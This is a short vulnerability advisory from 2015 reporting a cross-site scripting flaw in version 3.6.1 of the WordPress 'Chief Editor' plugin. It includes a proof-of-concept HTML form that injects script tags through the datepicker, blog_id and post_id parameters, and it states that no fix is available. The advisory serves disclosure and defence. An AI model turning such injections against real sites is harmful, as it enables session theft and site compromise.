WordPress Chief Editor 3.6.1 Cross Site Scripting
Posted on 03 August 2015
Title: WordPress 'Chief Editor' Plugin Version: 3.6.1 Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej Date: 2015-06-17 Download: - https://wordpress.org/plugins/chief-editor/ - https://plugins.svn.wordpress.org/chief-editor/ Notified Vendor/WordPress: 2015-06-21 ========================================================== ## Plugin description ========================================================== Helps wordpress multisite "chief editor" to manage all drafts, comments, authors and "ready for publication" sends across the netw ## Vulnerabilities ========================================================== Some POST parameters are printed directly to the HTML without being sanitized. PoC: Log in as admin and submit the following form: <form method="POST" action="[URL]/wp422/wp-admin/admin.php?page=chief-editor-dashboard"> <input type="text" name="submitDate" value="someValue"><br /> <input type="text" name="datepicker" value=""/><script>alert(1)</script>"><br /> <input type="text" name="blog_id" value=""/><script>alert(2)</script>"><br /> <input type="text" name="post_id" value=""/><script>alert(3)</script>"><br /> <input type="submit"> </form> ## Solution ========================================================== No fix available ========================================================== Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
